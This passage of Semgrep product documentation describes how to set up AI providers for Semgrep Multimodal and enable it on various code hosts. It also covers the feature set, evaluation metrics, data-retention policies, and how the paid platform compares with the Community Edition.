* Semgrepβs fine-tuned models that can increase the quality of results.
* Semgrep's [Zero Data Retention agreement](/semgrep-multimodal/privacy) that prevents OpenAI from saving input or output data.
* Semgrep paying for the cost of your AI usage.
### Your own Amazon Bedrock account
If you want to keep all data within your AWS account, you can use your own Amazon Bedrock instance:
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login) and navigate to [ **Settings > Global**](https://semgrep.dev/orgs/-/settings/general).
Click the **icon** next to **AI provider**.
Select **Amazon Bedrock** then **Your AWS account**
Provide your AWS IAM role details.
Note that the IAM role that is being used must have access to the **AmazonBedrockLimitedAccess** AWS IAM Permissions preset.
Semgrep constantly evaluates new models for Multimodal features and frequently swaps out requested models, so it is recommended to always have the most recent models in Bedrock enabled. Currently, Multimodal is using the model ARNs `anthropic.claude-sonnet-4-6` and `anthropic.claude-haiku-4-5-20251001-v1:0`.
#### Supported AWS regions
When you use your own Amazon Bedrock account, you can select one of the following AWS regions:
* US East (N. Virginia) - `us-east-1`
* US East (Ohio) - `us-east-2`
* US West (N. California) - `us-west-1`
* US West (Oregon) - `us-west-2`
All Bedrock calls are pinned to the region you select. Semgrep does not use AWS cross-region inference profiles for customer-managed Bedrock accounts, so requests stay within your configured region.
Since Semgrep does not use AWS cross-region inference profiles, the models Multimodal requires must be available for on-demand inference in the selected region. Because of that requirement, regions outside the US (where the models are offered only through cross-region inference profiles) are not currently supported.
### Azure OpenAI
To use Azure OpenAI with Semgrep Multimodal, you must retrieve the endpoint URL and API key for your model from Azure, then provide it to Semgrep.
1. To retrieve the endpoint URL and API key from Azure:
1. Log in to Azure OpenAI Studio.
2. Navigate to **Deployments**, and select the deployment you want to use.
3. In **Endpoint**, find and copy both the **Target URI** and the **API key**. You will provide both values to Semgrep.
2. To configure Semgrep to use Azure OpenAI:
1. Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login) and navigate to [**Settings > Global**](https://semgrep.dev/orgs/-/settings/general).
2. Click the **icon** next to **AI provider**.
3. Select **Azure OpenAI**.
4. Paste the **Target URI** you copied from Azure into **Your Azure OpenAI Endpoint**.
5. Paste the API key you copied from Azure into **Your Azure OpenAI API key**.
6. Click **Save** to proceed.
**NOTE**
As of May 2025, the best model for noise filtering is `gpt-5.4`. The best model for other Semgrep Multimodal features is `gpt-5.5`. You cannot have multiple Azure OpenAI models active at a given time, but you can switch to a different one by repeating these configuration steps using the Target URI and API key for the new model.
### Google Gemini
To use Google Gemini with Semgrep Multimodal:
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login) and navigate to [ **Settings > Global**](https://semgrep.dev/orgs/-/settings/general).
Click the **icon** next to **AI provider**.
Select **Google Gemini**.
Paste in your API key.
Click **Save** to proceed.
> Semgrep Multimodal only supports Google Gemini with Google AI Studio, not Vertex AI.
### xAI
To use xAI with Semgrep Multimodal, you must retrieve the endpoint URL and API key from xAI, then provide it to Semgrep.
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login) and navigate to [ **Settings > Global**](https://semgrep.dev/orgs/-/settings/general).
Click the **icon** next to **AI provider**.
Select **xAI**.
Paste in your API key and API endpoint.
Click **Save** to proceed.
# Enable Semgrep Multimodal
Source: https://docs.semgrep.dev/semgrep-multimodal/getting-started
Semgrep Multimodal extends standard Semgrep capabilities by providing contextually aware AI-powered vulnerability detection and remediation suggestions.
This article walks you through enabling Semgrep Multimodal for your deployment.
**PREREQUISITES**
* You have completed a [Semgrep core deployment](/deployment/core-deployment).
* You have set rules to **Comment** or **Block** mode in your [ Policies page](https://semgrep.dev/orgs/-/policies).
Building context for Semgrep Multimodal requires Azure DevOps permissions, specifically code access granted through an access token you generate through Azure DevOps. Ensure that the token has the following scopes:
* `Code: Read & write`
* `Pull Request Threads: Read & write`
You can provide this token to Semgrep by adding [Azure DevOps as a source code manager](/deployment/connect-scm#connect-to-cloud-hosted-orgs).
Semgrep recommends using a service account, not a personal account, to [generate the personal access token](https://learn.microsoft.com/en-us/azure/devops/organizations/accounts/use-personal-access-tokens-to-authenticate) provided to Semgrep. Regardless of whether you use a personal or service account, the account must be assigned the **Owner** or **Project Collection Administrator** role for the organization.
### Enable Multimodal
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
Go to **Settings > Global**, and click the **Semgrep Multimodal** toggle to enable.
The **Set up Semgrep Multimodal** dialog appears. Click **Accept & Enable Semgrep Multimodal** to proceed.
After enabling Semgrep Multimodal, you can configure the [AI provider](https://semgrep.dev/orgs/-/settings/general/global) and enable additional features:
* **[Scan with AI-powered detection](/semgrep-code/ai-powered-detection-concepts)**: Run AI-powered scans to identify complex business logic flaws, such as insecure direct object references (IDORs) and broken authorization issues. Enabling Semgrep Multimodal does not automatically run AI-powered scans.
* **[Weekly priority emails](/semgrep-code/ai-powered-detection-concepts)**: Send weekly summary emails to organization admins highlighting the top three backlog priorities across all findings.
* **[Suggested fix](/semgrep-multimodal/customize#suggested-fix)**: Includes suggestions on how to fix findings. You can also set a minimum confidence threshold for Suggested fix.
* **[Autofix PR](/semgrep-code/triage-remediation/autofix)**: Automatically create AI-generated pull requests (PRs) to remediate findings.
* **[Noise filter for Code PR/MR comments](/semgrep-appsec-platform/github-pr-comments#configure-comments-for-semgrep-code)**: Filter out findings identified as false positives. You can choose to suppress PR or MR comments entirely or display informational comments indicating that a finding is a false positive.
Building context for Semgrep Multimodal requires additional Bitbucket permissions, specifically code access granted through an access token you generate through Bitbucket. Your token must be a [Workspace Access Token](https://support.atlassian.com/bitbucket-cloud/workspace-access-tokens/), which are available to users with a Bitbucket Cloud Premium plan or higher. The token must have the following scopes:
* `Projects: Read`
* `Repositories: Read`
* `Pull requests: Read & Write`
* `Webhooks: Read and write`
You can provide this token to Semgrep by [adding Bitbucket as a source code manager](/deployment/connect-scm#connect-to-cloud-hosted-orgs).
### Enable Multimodal
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
Go to **Settings > Global**, and click the **Semgrep Multimodal** toggle to enable.
The **Set up Semgrep Multimodal** dialog appears. Click **Accept & Enable Semgrep Multimodal** to proceed.
After enabling Semgrep Multimodal, you can configure the [AI provider](https://semgrep.dev/orgs/-/settings/general/global) and enable additional features:
* **[Scan with AI-powered detection](/semgrep-code/ai-powered-detection-concepts)**: Run AI-powered scans to identify complex business logic flaws, such as insecure direct object references (IDORs) and broken authorization issues. Enabling Semgrep Multimodal does not automatically run AI-powered scans.
* **[Weekly priority emails](/semgrep-code/ai-powered-detection-concepts)**: Send weekly summary emails to organization admins highlighting the top three backlog priorities across all findings.
* **[Suggested fix](/semgrep-multimodal/customize#suggested-fix)**: Includes suggestions on how to fix findings. You can also set a minimum confidence threshold for Suggested fix.
* **[Autofix PR](/semgrep-code/triage-remediation/autofix)**: Automatically create AI-generated pull requests (PRs) to remediate findings.
* **[Noise filter for Code PR/MR comments](/semgrep-appsec-platform/github-pr-comments#configure-comments-for-semgrep-code)**: Filter out findings identified as false positives. You can choose to suppress PR or MR comments entirely or display informational comments indicating that a finding is a false positive.
In addition to the
[ standard permissions required for Semgrep](/deployment/prepare/scm-permissions#permissions), Semgrep Multimodal requires [read access to your code in GitHub](https://docs.github.com/en/rest/overview/permissions-required-for-github-apps?apiVersion=2022-11-28). This is done through a **private Semgrep GitHub app** that you install.
The private Semgrep GitHub app:
* Is fully under your control so you can revoke access or specific permissions at any time by visiting **Settings > Applications** in GitHub.
* Only accesses source code repositories on a file-by-file basis; it does not need or request org-level access to your codebase.
* Can be configured to limit its scope to specific repositories. You do not need to give read access to all repositories in your GitHub organization.
To verify that you have the private app installed:
1. In [Semgrep AppSec Platform](https://semgrep.dev/login), go to **Settings > Source Code Managers**.
2. Find the entry for GitHub. If you have the **Private app** installed, Semgrep displays a message underneath this label that reads **Enables Autotriage, Managed Scans, and Auto-scan**.
3. If you *do not* have the **Private app** installed, the **Install** button is shown to you. To install the private app:
1. Click **Install** to launch the **Add GitHub App** page.
2. Review the information provided, and click **Register GitHub App** to proceed.
3. The **Continue to SCM** dialog appears, since you must finish installing the app with GitHub. Click **Continue** to proceed.
4. Follow the prompts provided by GitHub to finish creating the app.
5. When done, GitHub redirects you back to Semgrep AppSec Platform.
### Enable Multimodal
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
Go to **[Settings > Global](https://semgrep.dev/orgs/-/settings/general/global)**, and click the **Semgrep Multimodal** toggle to enable.
The **Set up Semgrep Multimodal** dialog appears. Click **Accept & Enable Semgrep Multimodal** to proceed.
After enabling Semgrep Multimodal, you can configure the [AI provider](https://semgrep.dev/orgs/-/settings/general/global) and enable additional features:
* **[Scan with AI-powered detection](/semgrep-code/ai-powered-detection-concepts)**: Run AI-powered scans to identify complex business logic flaws, such as insecure direct object references (IDORs) and broken authorization issues. Enabling Semgrep Multimodal does not automatically run AI-powered scans.
* **[Weekly priority emails](/semgrep-code/ai-powered-detection-concepts)**: Send weekly summary emails to organization admins highlighting the top three backlog priorities across all findings.
* **[Suggested fix](/semgrep-multimodal/customize#suggested-fix)**: Includes suggestions on how to fix findings in PR and MR comments. You can also set a minimum confidence threshold for Suggested fix.
* **[Autofix PR](/semgrep-code/triage-remediation/autofix)**: Automatically create AI-generated pull requests (PRs) to remediate findings.
* **[Noise filter for Code PR/MR comments](/semgrep-appsec-platform/github-pr-comments#configure-comments-for-semgrep-code)**: Filter out findings identified as false positives. You can choose to suppress PR or MR comments entirely or display informational comments indicating that a finding is a false positive.
* **[Upgrade Guidance & Autofix](/semgrep-supply-chain/triage-and-remediation#upgrade-guidance-and-autofix)**: Analyze dependency upgrades for potential breaking changes. When enabled, Semgrep displays indicators for safe upgrades and potential breaking changes in Supply Chain findings.
To build context for Semgrep Multimodal, you must provide either a [project access token](https://docs.gitlab.com/ee/user/project/settings/project_access_tokens.html) or [personal access token](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html) with the **API scope**.
* You can revoke [project access tokens](https://docs.gitlab.com/ee/user/project/settings/project_access_tokens.html#revoke-a-project-access-token) or [personal access tokens](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#revoke-a-personal-access-token) at any time.
* Semgrep Multimodal only accesses source code repositories (projects) on a file-by-file basis; it does not need or request org-level access to your codebase.
* The token can be configured to limit its scope to specific projects or individuals. You do not need to give read access to all projects in your GitLab organization.
## Enable Multimodal
Sign in to [Semgrep AppSec Platform ](https://semgrep.dev/login) using your GitLab account.
Go to **Settings > Global**, and click the **Semgrep Multimodal** toggle to enable.
The **Set up Semgrep Multimodal** dialog appears. Click **Accept & Enable Semgrep Multimodal** to proceed.
After enabling Semgrep Multimodal, you can configure the [AI provider](https://semgrep.dev/orgs/-/settings/general/global) and enable additional features:
* **[Scan with AI-powered detection](/semgrep-code/ai-powered-detection-concepts)**: Run AI-powered scans to identify complex business logic flaws, such as insecure direct object references (IDORs) and broken authorization issues. Enabling Semgrep Multimodal does not automatically run AI-powered scans.
* **[Weekly priority emails](/semgrep-code/ai-powered-detection-concepts)**: Send weekly summary emails to organization admins highlighting the top three backlog priorities across all findings.
* **[Suggested fix](/semgrep-multimodal/customize#suggested-fix)**: Includes prose-based suggestions on how to fix findings. You can also set a minimum confidence threshold for Suggested fix.
* **[Autofix PR](/semgrep-code/triage-remediation/autofix)**: Automatically create AI-generated pull requests (PRs) to remediate findings.
* **[Noise filter for Code PR/MR comments](/semgrep-appsec-platform/github-pr-comments#configure-comments-for-semgrep-code)**: Filter out findings identified as false positives. You can choose to suppress PR or MR comments entirely or display informational comments indicating that a finding is a false positive.
* **[Upgrade Guidance & Autofix](/semgrep-supply-chain/triage-and-remediation#upgrade-guidance-and-autofix)**: Analyze dependency upgrades for potential breaking changes. When enabled, Semgrep displays indicators for safe upgrades and potential breaking changes in Supply Chain findings.
# Semgrep Multimodal metrics and methodology
Source: https://docs.semgrep.dev/semgrep-multimodal/metrics
Metrics for evaluating Semgrep Multimodal's performance are derived from two sources:
* **User feedback** on Multimodal recommendations within the product
* **Internal triage and benchmarking** conducted by Semgrep's security research team
This methodology ensures that Multimodal is evaluated from both user and expert perspectives. This gives Semgrep's product and engineering teams a holistic view into Multimodal's real-world performance. 1
## User feedback
User feedback shows the aggregated and anonymized performance of Multimodal across **more than 1000 customers**, providing a comprehensive **real-world dataset**.
Users are prompted in-line to "thumbs up" or "thumbs down" Multimodal suggestions as they receive Multimodal suggestions in their PR or MR. This ensures that sampling bias is reduced, as both developers and AppSec engineers can provide feedback.
**Results as of Aug 21, 2025:**
| Measure | Value |
| :----------------------------------------- | :--------------------------- |
| Customers in dataset | **3500+** |
| Findings analyzed | **6,500,000+** |
| Average reduction in findings 2 | **60%** |
| Human-agree rate | **96%** |
| Median time to resolution | **22% faster than baseline** |
| Average time saved per finding | **30 minutes** |
## Internal benchmarks
Internal benchmarks for Multimodal use a process in which a rotating team of security engineers conduct periodic reviews of findings and their Multimodal generated triage recommendations or remediation guidance. This is the same process used to evaluate Semgrep's SAST engine and rule performance.
Internal benchmarks for Multimodal run on the same dataset used by Semgrep's security research team to analyze Semgrep rule performance. This means the dataset is not prone to cherry-picked findings that are easier for AI to analyze, and accurately represents real-world performance across a variety of contexts.
| Measure | Value |
| :----------------------------------------------- | :-------- |
| Findings analyzed | **2000+** |
| False positive confidence rate3 | **96%** |
| Remediation guidance confidence rate4 | **80%** |
1. Learn more about how Semgrep achieved these numbers in [How we built an AppSec AI that security researchers agree with 96% of the time](https://semgrep.dev/blog/2025/building-an-appsec-ai-that-security-researchers-agree-with-96-of-the-time/).
2. The average % of SAST findings that Multimodal filters out as noise.
3. False positive confidence rate measures how often Multimodal is correct when it identifies a false positive. **A high confidence rate means users can trust when Multimodal identifies a false positive - it does not mean that Multimodal catches all false positives.**
4. Remediation guidance is rated on a binary scale of "helpful" / "not helpful".
# Semgrep Multimodal overview
Source: https://docs.semgrep.dev/semgrep-multimodal/overview
Semgrep Multimodal adds AI-driven capabilities to Semgrep, including AI-powered detection, triage, and remediation of your findings.
## Support and availability
Semgrep Multimodal:
* Primarily supports findings generated by Semgrep Code
* Supports [the same languages as Semgrep Code](/supported-languages)
* Requires the Semgrep AppSec Platform
See the [list of supported source code managers](/getting-started/scm-support).
### Automatic analysis
Semgrep Multimodal auto-analyzes findings that meet the following criteria:
* Full scans: All new findings that have **Critical** or **High** severity AND **High** or **Medium** confidence are auto-analyzed
* Diff-aware scans (pull request and merge request scans): Up to 10 new findings are automatically analyzed per scan. AI-powered detection does not support diff-aware scans.
## Features
### AI-powered detection scans
With Semgrep Multimodal's AI-powered detection, you can automatically identify complex business logic flaws, such as insecure direct object references (IDORs) and broken authorization. Semgrepβs AI-powered detection combines the precision of static analysis with the contextual reasoning of large language models (LLMs).
For instructions on enabling and running an AI-powered scan, see [Scan with AI-powered detection](/deployment/add-ai-to-scans).
### Explanation
Semgrep Multimodal explains why a finding is a true positive by connecting the ruleβs message to the code that triggered it. It highlights the relevant lines of code along with the surrounding context and describes how the rule applies in this specific case. For security rules, Multimodal also connects the finding back to the threat model, showing the potential risk and why the code behavior matters.
The explanation helps you understand not just *which* rule triggered a finding, but *why* the code is considered problematic.
On the findingβs **Details** page:
* Semgrep Multimodalβs explanation appears in the **Finding description** tab.
* The rule that triggered the finding is described in the **Rule description** tab.
* The exact lines of code that caused the finding are displayed in the **Your code** tab. Click a line to highlight the relevant code in context.
For true positive findings, the same Multimodal-generated explanations are also included in pull request or merge request comments. A brief summary appears in the default view. Expand **More details about this** to view the full Multimodal-generated explanation.
Note that Multimodal-generated explanations are **not** available for custom rules or community rules.
### Remediation
Semgrep Multimodal can provide remediation guidance and Suggested fix for Semgrep Code findings. For AI-generated code changes, use [Autofix](/semgrep-code/triage-remediation/autofix). For deterministic inline code changes in pull request or merge request comments, use [Rule-defined fix](/writing-rules/rule-defined-fix).
#### Guidance
With Multimodal enabled, pull request or merge request comments from Semgrep include step-by-step remediation instructions for the finding identified by Semgrep Code.
Semgrep also displays remediation information on Semgrep AppSec Platform's **Findings page** under **Your code & fix** in the [finding's details](/semgrep-code/findings#view-details-about-a-specific-finding) page.
Semgrep only waits for a limited amount of time for Multimodal guidance before posting a PR or MR comment, since comments are time-sensitive. If guidance is missing from the PR or MR comment because it was not yet available, it should still be present on Semgrep AppSec Platform's **Findings page** for the finding.
#### Suggested fix
Semgrep Multimodal's **Suggested fix** includes suggestions on how to fix Semgrep Code findings when it identifies a true positive. Suggested fix provides an explanation of the finding and guidance on how to remediate it. It does not include inline code diffs.
Multimodal customizes the suggestions it provides based on any previous feedback and your rule customizations. For example, if you've created a custom rule that recommends a specific sanitizer, Multimodal will reference that sanitizer in its Suggested fix whenever the rule is triggered.
**Suggested fix** is available in Semgrep AppSec Platform's **Findings page** under **Suggested fix** in the [finding's details](/semgrep-code/findings#view-details-about-a-specific-finding). You can set the minimum **Suggested fix** confidence level required to display Multimodal suggestions on Semgrep AppSec Platform's **Settings** page. To display the maximum number of available suggestions, set confidence level to **low**.
If many new issues are found in a given scan, Multimodal autotriage and Suggested fix may not run on every issue.
#### Autofix
Autofix uses AI to generate proposed code changes for Semgrep Code and Supply Chain findings. Enable Semgrep [Autofix](/semgrep-code/triage-remediation/autofix) to automatically create pull requests or merge requests with those changes.
### Component tags
**Component tags** use AI to categorize a finding based on its function, such as:
* Payments
* User authentication
* Infrastructure
By categorizing your code through component tags, Semgrep Multimodal can help you prioritize **high-risk issues**, such as remediating a code finding related to payments or user authentication.
Component tags can be viewed in Semgrep AppSec Platform's **Findings** page.
### Autotriage
Semgrep Multimodal uses AI's understanding of programming languages and libraries, and your code and triage history, to autotriage findings and suggest whether a finding can safely be ignored. For every recommendation to ignore a finding, Semgrep also provides guidance with an explanation on why this is the case.
Autotriage recommendations are available in Semgrep AppSec Platform's **Findings** page when you filter for findings that Multimodal suggests should be ignored, and in the [finding's details](/semgrep-code/findings#view-details-about-a-specific-finding).
Multimodal's suggestions to ignore findings are also surfaced in PR or MR comments, so developers can triage an issue directly without leaving their PR or MR.
### Weekly priority emails
Semgrep sends weekly emails with information on Multimodal's top three backlog tasks across all findings. Unlike other Multimodal features, these suggestions can include information for all Semgrep products that you have enabled. The emails are sent out on Monday to all organization admins.
### Noise filtering (beta)
Noise filtering increases developer velocity by reducing interruptions from potential false positives. With Noise Filtering, Multimodal evaluates each finding to determine if it's a true positive using additional context. If Multimodal thinks a finding may be a false positive, it prevents a PR comment from being posted in the developer workflow.
Security teams can review filtered findings at any time on Semgrep's [**Code > Pre-production** page](https://semgrep.dev/orgs/-/findings?tab=open\&last_opened=All+time\&backlog=preprod). Semgrep also allows you to agree or disagree with the filtering. If you agree with the suggestion, Semgrep closes the finding, but if you disagree, Semgrep reopens the finding.
Multimodal is [over 95% accurate in categorizing Semgrep Code findings as false positives](/semgrep-multimodal/metrics.md).
### Memories
Memories allows AppSec teams and developers to tailor Multimodal's remediation guidance to their organization's standards and defaults on a per-project, per-rule basis. When Multimodal provides a Suggested fix, you can provide feedback by adding custom instructions.
For example, if the code contains a hardcoded secret, Multimodal might suggest using an SDK that handles credentialing. However, if your company prefers to use a different secrets manager, you can provide this information to Multimodal. Multimodal then generates remediation guidance that works with your specific secrets manager in the future.
### Upgrade guidance (beta)
Semgrep Supply Chain's dependency upgrade guidance uses AI to analyze if a finding can be **safely upgraded** or if upgrading the package can cause **breaking changes**. Semgrep's Autofix capability can then create a PR to upgrade the package.
Read more about [Upgrade guidance and Autofix](/semgrep-supply-chain/triage-and-remediation).
## Reliability
Multimodal supports fallback between model providers to ensure optimal performance and reliability. OpenAI is the primary provider in most cases, with automatic fallback to Amazon Bedrock as needed. Semgrep's fallback decisions are based on an internal ranking system informed by ongoing research. Semgrep ranks models by performance and dynamically selects the best available from [your enabled options](/semgrep-multimodal/customize#select-your-ai-provider).
Enabling additional model providers for your Semgrep organization can improve performance in some scenarios, while removing them could result in reduced performance.
# Data privacy and legal considerations
Source: https://docs.semgrep.dev/semgrep-multimodal/privacy
Semgrep Multimodal uses API permissions to access code in your selected GitHub or GitLab repositories. To provide AI-powered functionality, portions of the source code are processed by Semgrep's AI model vendors.
Semgrep Multimodalβs data privacy and legal considerations apply across the following **AI-assisted features**, which build on one another:
* **Triage and remediation** of findings
* **Memories**: Adds reusable Memories to enhance triage and remediation.
* **AI-powered detection scans**: Adds AI-driven vulnerability detection on top of triage, remediation, and Memories.
## Overview of data flow
When using Semgrep AI features:
1. Semgrep accesses repository code on a file-by-file basis. In limited cases, broader repository access may be required.
2. Relevant data, including portions of source code, is sent outside your repository to AI subprocessors for analysis. Semgrep supports AI subprocessors from the following model vendors:
* OpenAI (default)
* Amazon Bedrock (default)
* Amazon Bedrock BYO IAM role (not available for AI-powered detection scans)
* Azure OpenAI (BYOK; not available for AI-powered detection scans)
* Google Gemini (BYOK; not available for AI-powered detection scans)
* xAI Grok (BYOK; not available for AI-powered detection scans)
3. AI subprocessors return results to Semgrep.
4. Semgrep stores limited data to support product functionality, in accordance with its [data retention policies](#data-retention-and-storage-by-semgrep).
## Data sent to AI subprocessors
The type and amount of data sent to AI subprocessors depend on the feature being used. The following table summarizes the data transmitted to AI subprocessors:
| Feature | Data sent to AI |
| :------------------------- | :--------------------------------------------------------------------------------------------------------------------- |
| Triage and remediation | Code associated with a finding and the minimal surrounding context |
| Memories | Code associated with a finding, minimal surrounding context, and user-provided Memory content, including code snippets |
| AI-powered detection scans | Full file contents, uploaded context documentation, and scan-related metadata |
Semgrep **does not** intentionally send personal data to AI subprocessors.
## Data retention and storage by Semgrep's AI vendors
All Semgrep AI subprocessors operate under **zero data retention** agreements by default. Under the zero data retention agreements, AI subprocessors do not retain or use your data to train their models.
Semgrep maintains Data Protection Agreements (DPAs) with all AI subprocessors. Customers can request these through the Semgrep [trust portal](https://trust.semgrep.dev/). Alternatively, contact your Semgrep account manager to request copies of these DPAs.
## Data retention and storage by Semgrep
Semgrep stores some of your data to support product functionality and performance evaluation. The type of data stored depends on the Semgrep feature you use.
### Finding remediation
Data stored may include:
* Finding metadata, including severity, repository, file path, and line number
* Remediation guidance
This data is retained indefinitely unless otherwise noted. Customers can request that account data be deleted by [contacting Support](/support)
### Memories
Includes all data from findings remediation, and adds:
* User-defined Memory content that is stored as text
* User-defined code snippets provided in Memories
Semgrep does not retrieve or access external data sources referenced in Memories.
This data is retained indefinitely unless otherwise noted. Customers can request that account data be deleted by [contacting Support](/support).
### Detection source data
Data stored may include:
* AI prompts and responses
* Code snippets and, where required, full file contents
* Uploaded context documentation
* Scan reports, including metadata such as file names and, in some cases, code snippets
Uploaded context documentation, scan reports, and derived context about the source code are persistently stored in a Semgrep-managed Amazon S3 bucket. Context documentation may be reused in future scans.
Source data is retained for up to 6 months unless otherwise noted. Semgrep will provide at least 30 daysβ notice before making changes to retention policies.
### Purpose of storage
Stored data is used to:
* Provide Semgrep Multimodal functionality
* Enable access to prior results, for example, to provide remediation guidance
* Support internal performance evaluation
* Support troubleshooting and debugging
## Data handling and protections
* Customer data is logically isolated and never commingled across tenants
* Semgrep does not intentionally send personal data to AI model vendors
* Semgrep and its subprocessors do not obtain ownership rights to your source code
* Data sent to AI model vendors is deleted after processing in accordance with zero data retention agreements
## Minimal data retention policy (optional)
If you want to further limit data retention for Semgrep Multimodal, you can contact [support](/support) to enroll in the minimal data retention policy.
AI responses are still stored as required to provide functionality.
Organizations enrolled in the minimal data retention policy cannot run [Semgrep Agentic Workflows](/workflows/overview). Please contact your Semgrep account executive for more information.
> **When should I use this?**\
> Use this policy if your organization requires stricter data handling controls and reduced persistence of code and prompts within Semgrep systems, where possible.
### Key differences from default behavior
When the minimal data retention policy is enabled:
* AI prompts and code are **not logged or captured** by observability tools
* Stored data is limited to what is strictly required to provide functionality
The table below compares default data handling with the minimal data retention policy. All stored data is handled by Semgrep or Semgrep-managed systems, not its AI vendors.
| Category | Default behavior | Minimal data retention policy |
| :------------------------------------ | :---------------------------------------------------------------------------------------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------- |
| AI prompts and code | May be logged and stored to support functionality and performance evaluation | Not logged or captured by observability tools; not stored in external systems, and persistence is limited to what is required for functionality |
| AI responses (triage and remediation) | Stored for the lifetime of the finding and account | Stored only as required to provide functionality, with reduced persistence |
| AI responses (other features) | Stored for up to 6 months to provide functionality and access to prior results | Stored only as required to provide functionality, with reduced persistence |
| Memories | Stored for the lifetime of the account; may include user-provided content and small code snippets | No change |
| AI-powered detection data | Full file analysis, context documentation, derived context, and scan reports may be stored and reused | No change |
| External storage (Semgrep-managed S3) | Used for certain data | Not used, except for AI-powered detection derived context, uploaded context documents and scan reports |
| Data deletion | Available upon request | Available upon request |
### Exceptions for AI-powered detection scans
Under the minimal data retention policy, the following behavior remains unchanged for AI-powered detection scans:
* If you upload context documentation to enhance AI-powered detection scans, these files are persistently stored in a Semgrep-managed Amazon S3 bucket to enable reuse across future AI-powered detection scans.
* AI-powered detection scan reports are stored in a Semgrep-managed Amazon S3 bucket. These reports may contain metadata such as file names and, in some cases, code snippets included in issue descriptions.
* Context discovered during scans is stored in a Semgrep-managed Amazon S3 bucket. This can include detected facts about the codebase, such as languages, frameworks, and structured data about relevant code features, including file names and symbols.
Responses from Semgrep's AI model vendors are stored in the Semgrep database solely for providing Multimodal functionality. For instance, AI-generated remediation advice is stored so users can access it in the Semgrep AppSec Platform. However, code snippets are never retained to improve future prompts.
Any stored data can be deleted upon customer request. Semgrep, Inc. will provide at least 30 days' notice before making any changes to the retention policy.
# Semgrep AppSec Platform versus Semgrep Community Edition
Source: https://docs.semgrep.dev/semgrep-pro-vs-oss
You can use **Semgrep AppSec Platform (Semgrep)** or **Semgrep Community Edition (Semgrep CE)** to scan your code for security issues, bugs, and compliance to coding standards. However, there are key differences between the two offerings.
**TIP**
Refer to the [appendix](#appendix) to skim all features of both offerings.
## Product terms
The offerings in this document are defined as follows:
**Semgrep Community Edition (Semgrep CE)**
Includes an open source, lightweight SAST scanner and rules in the [Semgrep Registry](https://semgrep.dev/r/) with **open source licenses**. You can also write your own custom rules. Semgrep CE also includes the Visual Studio Code (VS Code) and IntelliJ extensions. The Community Edition is best for small teams or personal projects.
**Semgrep AppSec Platform (Semgrep)**
Refers to a proprietary software suite tailored to support AppSec engineers through the entire software development life cycle (SDLC). Best for deploying security programs throughout their organization. Many of Semgrep's features support the deployment of [secure guardrails](/secure-guardrails/secure-guardrails-in-semgrep). Semgrep includes the following products:
**Semgrep Code**
A SAST scanner that uses cross-file (interfile) and cross-function (intrafile) analysis for improved results over Semgrep Community Edition. Semgrep Code includes rules written by Semgrep's Security Research team, called **Pro Rules**. These rules use cross-file analysis to reduce false positives.
**Semgrep Supply Chain**
A high-signal dependency scanner that detects reachable vulnerabilities in open source third-party libraries and functions across the software development life cycle (SDLC).
**Semgrep Secrets**
A secrets scanner that, in addition to detecting secrets, validates these leaked secrets on a variety of services to help you prioritize active secrets.
**NOTE**
Semgrep Code and Semgrep Supply Chain are free for up to 10 contributors.
## Comparison by core workflows
### Deployment
*The process of integrating Semgrep into your developer and infrastructure workflows.*
##### Semgrep Community Edition
Semgrep CE runs in your local machine's CLI through the `semgrep scan` command.
Deploying in bulk or at scale is a manual task. Semgrep CE can scan a remote repository by running as part of a CI job but you must write and configure the CI job for each repository.
##### Semgrep AppSec Platform
Semgrep can scan in the following environments:
* CI
* Web app (for Managed Scans)
* CLI
* IDE
* `pre-commit`
Your scan configuration, such as rules and policies, and scan analysis (SAST, SCA, or secrets) are preserved across all environments.
Users comfortable with granting Semgrep code access can quickly deploy Semgrep to thousands of repositories through [Managed Scans](/deployment/managed-scanning/overview).
Semgrep supports various CI providers and source code managers (SCMs) such as GitHub, GitLab, Bitbucket, and Azure.
### Scanning and analyses
*The process of analyzing source code for findings. This section explains the analyses available to both product offerings.*
##### Semgrep Community Edition
Semgrep CE provides the following SAST analyses:
* Single file, cross function constant propagation
* Single function taint analysis
* Semantic analysis
The limited scope makes it fast, at the cost of coverage and precision.
It can't track data beyond a single function or file and may find more false positives.
##### Semgrep AppSec Platform
Semgrep supports SAST, SCA, and secret scans as listed in [Product terms](#product-terms). You can run these **scan types** across all of your environments, preserving any configuration you have made.
* Cross file, cross function constant propagation
* Cross file, cross function taint analysis
* Framework and language-specific semantic analysis
* **Semgrep Multimodal** (AI-assisted) post-processing analysis:
* Reduces noise by 20%
* Adds contextual remediation guidance
* Reachability analysis
* Open source license enforcement
* Dependency search
* Validation of active, leaked secrets
* Entropy
* Historical scanning
Additionally, the Semgrep team maintains and contributes to premium rules, known as Pro rules, that specifically make use of the advanced analyses listed here.
**TIP**
Certain languages, such as Apex, are available only on Semgrep AppSec Platform.
The following diagrams summarize the differences between the two:
### Triage and remediation
*Triage is the process of reviewing findings and determining if a finding is a true or false positive, and whether to fix the finding or not. Remediation refers to the steps taken to resolve the finding.*
***Ticketing and notification integrations** are included in this workflow to inform developers of fixes and remediation guidance they may need to take to close the finding.*
##### Semgrep Community Edition
###### Triage
There are no out-of-the-box features in Semgrep CE for triaging findings.
However, you can output findings to JSON and SARIF then send those findings to an AppSec Posture Management (ASPM) software such as DefectDojo.
##### Semgrep AppSec Platform
###### Triage
Semgrep tracks a single finding throughout its lifetime from its initial creation, when its status is **Open**, to various triage states such as **Ignored**, or **Reviewing**.
Developers and AppSec engineers are able to provide reasons for a finding's status, such as **Acceptable risk** or **False positive** for **Ignored** findings.
Semgrep provides AI-assisted triage through Semgrep Multimodal, which can analyze all your findings to suggest which findings it thinks are false positives.
* Step-by-step remediation
* Can be viewed by developers and AppSec engineers in their preferred environment
* Ability to learn your preferred libraries and functions through **Memories**
Lastly, Semgrep supports the creation of tickets in Jira and various notification channels such as Slack and webhooks.
### Tuning and prevention
*Tuning refers to the improvement of Semgrep's engine, rules, and policies to improve such metrics as the true positive rate, net new findings, and findings fixed before they enter production.*
